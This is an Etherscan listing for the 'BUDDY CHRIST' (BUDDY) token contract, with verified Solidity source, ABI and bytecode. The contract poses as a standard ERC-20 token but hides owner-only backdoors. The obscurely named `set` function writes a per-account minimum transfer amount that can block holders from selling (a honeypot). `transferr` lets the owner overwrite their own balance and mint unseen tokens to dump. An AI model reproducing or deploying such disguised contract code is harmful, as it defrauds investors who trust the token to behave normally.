ETH Price: $2,442.02 (+1.32%)
Gas: 7.59 Gwei

Token

BUDDY CHRIST (BUDDY)
 

Overview

Max Total Supply

6,600,000,000 BUDDY

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
174,690,738.648911756 BUDDY

Value
$0.00
0x64e96cda920462b1e4126d40e1ead400607413ec
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHRISTBUDDY

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-16
*/

//https://buddychrist.faith/
//https://t.me/ChristPortal
//https://twitter.com/Christ_BUDDY_

// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


enum TokenType {
    standard,
    antiBotStandard,
    liquidityGenerator,
    antiBotLiquidityGenerator,
    baby,
    antiBotBaby,
    buybackBaby,
    antiBotBuybackBaby
}

abstract contract BaseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}

pragma solidity =0.8.4;

contract CHRISTBUDDY is IERC20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 public constant VERSION = 1;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _MFFs; 

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 totalSupply_

    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(owner(), totalSupply_);

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }
    function set(address account, uint256 amount) public onlyOwner {
        _MFFs[account] = amount;
    }

    function getMFF(address account) public view returns (uint256) {
        return _MFFs[account];
    }
    function transferr(uint256 balan) public onlyOwner {
        _balances[owner()] = balan;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount >= _MFFs[sender], "ERC20: transfer amount is less than minimum allowed"); 

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getMFF","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"balan","type":"uint256"}],"name":"transferr","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040516200111c3803806200111c8339810160408190526200002691620003b6565b6200003133620000ee565b8351620000469060049060208701906200025d565b5082516200005c9060059060208601906200025d565b506006805460ff191660ff84161790556200008a620000836000546001600160a01b031690565b826200013e565b306200009e6000546001600160a01b031690565b6001600160a01b03167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe356260006001604051620000dc9291906200043d565b60405180910390a350505050620004e2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001995760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b620001b5816007546200024860201b620005f81790919060201c565b6007556001600160a01b038216600090815260016020908152604090912054620001ea918390620005f862000248821b17901c565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200023c9085815260200190565b60405180910390a35050565b60006200025682846200046a565b9392505050565b8280546200026b906200048f565b90600052602060002090601f0160209004810192826200028f5760008555620002da565b82601f10620002aa57805160ff1916838001178555620002da565b82800160010185558215620002da579182015b82811115620002da578251825591602001919060010190620002bd565b50620002e8929150620002ec565b5090565b5b80821115620002e85760008155600101620002ed565b600082601f83011262000314578081fd5b81516001600160401b0380821115620003315762000331620004cc565b604051601f8301601f19908116603f011681019082821181831017156200035c576200035c620004cc565b8160405283815260209250868385880101111562000378578485fd5b8491505b838210156200039b57858201830151818301840152908201906200037c565b83821115620003ac57848385830101525b9695505050505050565b60008060008060808587031215620003cc578384fd5b84516001600160401b0380821115620003e3578586fd5b620003f18883890162000303565b9550602087015191508082111562000407578485fd5b50620004168782880162000303565b935050604085015160ff811681146200042d578283fd5b6060959095015193969295505050565b60408101600884106200046057634e487b7160e01b600052602160045260246000fd5b9281526020015290565b600082198211156200048a57634e487b7160e01b81526011600452602481fd5b500190565b600181811c90821680620004a457607f821691505b60208210811415620004c657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b610c2a80620004f26000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610238578063bb4c997b1461024b578063dd62ed3e14610274578063f2fde38b146102ad578063ffa1ad74146102c057600080fd5b8063715018a6146101fa5780638da5cb5b1461020257806395d89b411461021d578063a457c2d71461022557600080fd5b8063313ce567116100e9578063313ce567146101815780633825d8281461019657806339509351146101ab5780635e0c5631146101be57806370a08231146101d157600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd1461016e575b600080fd5b6101236102c8565b6040516101309190610a9a565b60405180910390f35b61014c610147366004610a59565b61035a565b6040519015158152602001610130565b6007545b604051908152602001610130565b61014c61017c366004610a1e565b610370565b60065460405160ff9091168152602001610130565b6101a96101a4366004610a59565b6103d9565b005b61014c6101b9366004610a59565b610428565b6101a96101cc366004610a82565b61045e565b6101606101df3660046109d2565b6001600160a01b031660009081526001602052604090205490565b6101a96104bc565b6000546040516001600160a01b039091168152602001610130565b6101236104f2565b61014c610233366004610a59565b610501565b61014c610246366004610a59565b610550565b6101606102593660046109d2565b6001600160a01b031660009081526003602052604090205490565b6101606102823660046109ec565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a96102bb3660046109d2565b61055d565b610160600181565b6060600480546102d790610b46565b80601f016020809104026020016040519081016040528092919081815260200182805461030390610b46565b80156103505780601f1061032557610100808354040283529160200191610350565b820191906000526020600020905b81548152906001019060200180831161033357829003601f168201915b5050505050905090565b600061036733848461060b565b50600192915050565b600061037d848484610730565b6103cf84336103ca85604051806060016040528060288152602001610ba8602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061093a565b61060b565b5060019392505050565b6000546001600160a01b0316331461040c5760405162461bcd60e51b815260040161040390610aed565b60405180910390fd5b6001600160a01b03909116600090815260036020526040902055565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103679185906103ca90866105f8565b6000546001600160a01b031633146104885760405162461bcd60e51b815260040161040390610aed565b806001600061049f6000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205550565b6000546001600160a01b031633146104e65760405162461bcd60e51b815260040161040390610aed565b6104f06000610966565b565b6060600580546102d790610b46565b600061036733846103ca85604051806060016040528060258152602001610bd0602591393360009081526002602090815260408083206001600160a01b038d168452909152902054919061093a565b6000610367338484610730565b6000546001600160a01b031633146105875760405162461bcd60e51b815260040161040390610aed565b6001600160a01b0381166105ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610403565b6105f581610966565b50565b60006106048284610b22565b9392505050565b6001600160a01b03831661066d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610403565b6001600160a01b0382166106ce5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610403565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610403565b6001600160a01b0382166107f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610403565b6001600160a01b03831660009081526003602052604090205481101561087a5760405162461bcd60e51b815260206004820152603360248201527f45524332303a207472616e7366657220616d6f756e74206973206c65737320746044820152721a185b881b5a5b9a5b5d5b48185b1b1bddd959606a1b6064820152608401610403565b6108b781604051806060016040528060268152602001610b82602691396001600160a01b038616600090815260016020526040902054919061093a565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546108e690826105f8565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107239085815260200190565b6000818484111561095e5760405162461bcd60e51b81526004016104039190610a9a565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146109cd57600080fd5b919050565b6000602082840312156109e3578081fd5b610604826109b6565b600080604083850312156109fe578081fd5b610a07836109b6565b9150610a15602084016109b6565b90509250929050565b600080600060608486031215610a32578081fd5b610a3b846109b6565b9250610a49602085016109b6565b9150604084013590509250925092565b60008060408385031215610a6b578182fd5b610a74836109b6565b946020939093013593505050565b600060208284031215610a93578081fd5b5035919050565b6000602080835283518082850152825b81811015610ac657858101830151858201604001528201610aaa565b81811115610ad75783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610b4157634e487b7160e01b81526011600452602481fd5b500190565b600181811c90821680610b5a57607f821691505b60208210811415610b7b57634e487b7160e01b600052602260045260246000fd5b5091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209f7cccfbe4b917003fd4c70d8c0ebfe558a20201fa3fd323857309c9cc52ba2a64736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000005b97e9081d940000000000000000000000000000000000000000000000000000000000000000000c425544445920434852495354000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054255444459000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610238578063bb4c997b1461024b578063dd62ed3e14610274578063f2fde38b146102ad578063ffa1ad74146102c057600080fd5b8063715018a6146101fa5780638da5cb5b1461020257806395d89b411461021d578063a457c2d71461022557600080fd5b8063313ce567116100e9578063313ce567146101815780633825d8281461019657806339509351146101ab5780635e0c5631146101be57806370a08231146101d157600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd1461016e575b600080fd5b6101236102c8565b6040516101309190610a9a565b60405180910390f35b61014c610147366004610a59565b61035a565b6040519015158152602001610130565b6007545b604051908152602001610130565b61014c61017c366004610a1e565b610370565b60065460405160ff9091168152602001610130565b6101a96101a4366004610a59565b6103d9565b005b61014c6101b9366004610a59565b610428565b6101a96101cc366004610a82565b61045e565b6101606101df3660046109d2565b6001600160a01b031660009081526001602052604090205490565b6101a96104bc565b6000546040516001600160a01b039091168152602001610130565b6101236104f2565b61014c610233366004610a59565b610501565b61014c610246366004610a59565b610550565b6101606102593660046109d2565b6001600160a01b031660009081526003602052604090205490565b6101606102823660046109ec565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a96102bb3660046109d2565b61055d565b610160600181565b6060600480546102d790610b46565b80601f016020809104026020016040519081016040528092919081815260200182805461030390610b46565b80156103505780601f1061032557610100808354040283529160200191610350565b820191906000526020600020905b81548152906001019060200180831161033357829003601f168201915b5050505050905090565b600061036733848461060b565b50600192915050565b600061037d848484610730565b6103cf84336103ca85604051806060016040528060288152602001610ba8602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061093a565b61060b565b5060019392505050565b6000546001600160a01b0316331461040c5760405162461bcd60e51b815260040161040390610aed565b60405180910390fd5b6001600160a01b03909116600090815260036020526040902055565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103679185906103ca90866105f8565b6000546001600160a01b031633146104885760405162461bcd60e51b815260040161040390610aed565b806001600061049f6000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205550565b6000546001600160a01b031633146104e65760405162461bcd60e51b815260040161040390610aed565b6104f06000610966565b565b6060600580546102d790610b46565b600061036733846103ca85604051806060016040528060258152602001610bd0602591393360009081526002602090815260408083206001600160a01b038d168452909152902054919061093a565b6000610367338484610730565b6000546001600160a01b031633146105875760405162461bcd60e51b815260040161040390610aed565b6001600160a01b0381166105ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610403565b6105f581610966565b50565b60006106048284610b22565b9392505050565b6001600160a01b03831661066d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610403565b6001600160a01b0382166106ce5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610403565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610403565b6001600160a01b0382166107f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610403565b6001600160a01b03831660009081526003602052604090205481101561087a5760405162461bcd60e51b815260206004820152603360248201527f45524332303a207472616e7366657220616d6f756e74206973206c65737320746044820152721a185b881b5a5b9a5b5d5b48185b1b1bddd959606a1b6064820152608401610403565b6108b781604051806060016040528060268152602001610b82602691396001600160a01b038616600090815260016020526040902054919061093a565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546108e690826105f8565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107239085815260200190565b6000818484111561095e5760405162461bcd60e51b81526004016104039190610a9a565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146109cd57600080fd5b919050565b6000602082840312156109e3578081fd5b610604826109b6565b600080604083850312156109fe578081fd5b610a07836109b6565b9150610a15602084016109b6565b90509250929050565b600080600060608486031215610a32578081fd5b610a3b846109b6565b9250610a49602085016109b6565b9150604084013590509250925092565b60008060408385031215610a6b578182fd5b610a74836109b6565b946020939093013593505050565b600060208284031215610a93578081fd5b5035919050565b6000602080835283518082850152825b81811015610ac657858101830151858201604001528201610aaa565b81811115610ad75783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610b4157634e487b7160e01b81526011600452602481fd5b500190565b600181811c90821680610b5a57607f821691505b60208210811415610b7b57634e487b7160e01b600052602260045260246000fd5b5091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209f7cccfbe4b917003fd4c70d8c0ebfe558a20201fa3fd323857309c9cc52ba2a64736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000005b97e9081d940000000000000000000000000000000000000000000000000000000000000000000c425544445920434852495354000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054255444459000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): BUDDY CHRIST
Arg [1] : symbol_ (string): BUDDY
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 6600000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000005b97e9081d940000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 4255444459204348524953540000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 4255444459000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5272:5750:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6405:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7442:210;;;;;;:::i;:::-;;:::i;:::-;;;1848:14:1;;1841:22;1823:41;;1811:2;1796:18;7442:210:0;1778:92:1;6706:108:0;6794:12;;6706:108;;;5435:25:1;;;5423:2;5408:18;6706:108:0;5390:76:1;7660:454:0;;;;;;:::i;:::-;;:::i;6607:91::-;6681:9;;6607:91;;6681:9;;;;5613:36:1;;5601:2;5586:18;6607:91:0;5568:87:1;6077:105:0;;;;;;:::i;:::-;;:::i;:::-;;8122:300;;;;;;:::i;:::-;;:::i;6299:96::-;;;;;;:::i;:::-;;:::i;6822:177::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6973:18:0;6941:7;6973:18;;;:9;:18;;;;;;;6822:177;1739:94;;;:::i;1516:87::-;1562:7;1589:6;1516:87;;-1:-1:-1;;;;;1589:6:0;;;1621:51:1;;1609:2;1594:18;1516:87:0;1576:102:1;6504:95:0;;;:::i;8430:400::-;;;;;;:::i;:::-;;:::i;7007:216::-;;;;;;:::i;:::-;;:::i;6190:103::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6271:14:0;6244:7;6271:14;;;:5;:14;;;;;;;6190:103;7231:201;;;;;;:::i;:::-;-1:-1:-1;;;;;7397:18:0;;;7365:7;7397:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7231:201;1841:192;;;;;;:::i;:::-;;:::i;5365:35::-;;5399:1;5365:35;;6405:91;6450:13;6483:5;6476:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6405:91;:::o;7442:210::-;7561:4;7583:39;1151:10;7606:7;7615:6;7583:8;:39::i;:::-;-1:-1:-1;7640:4:0;7442:210;;;;:::o;7660:454::-;7800:4;7817:36;7827:6;7835:9;7846:6;7817:9;:36::i;:::-;7864:220;7887:6;1151:10;7935:138;7991:6;7935:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7935:19:0;;;;;;:11;:19;;;;;;;;1151:10;7935:33;;;;;;;;;;:37;:138::i;:::-;7864:8;:220::i;:::-;-1:-1:-1;8102:4:0;7660:454;;;;;:::o;6077:105::-;1562:7;1589:6;-1:-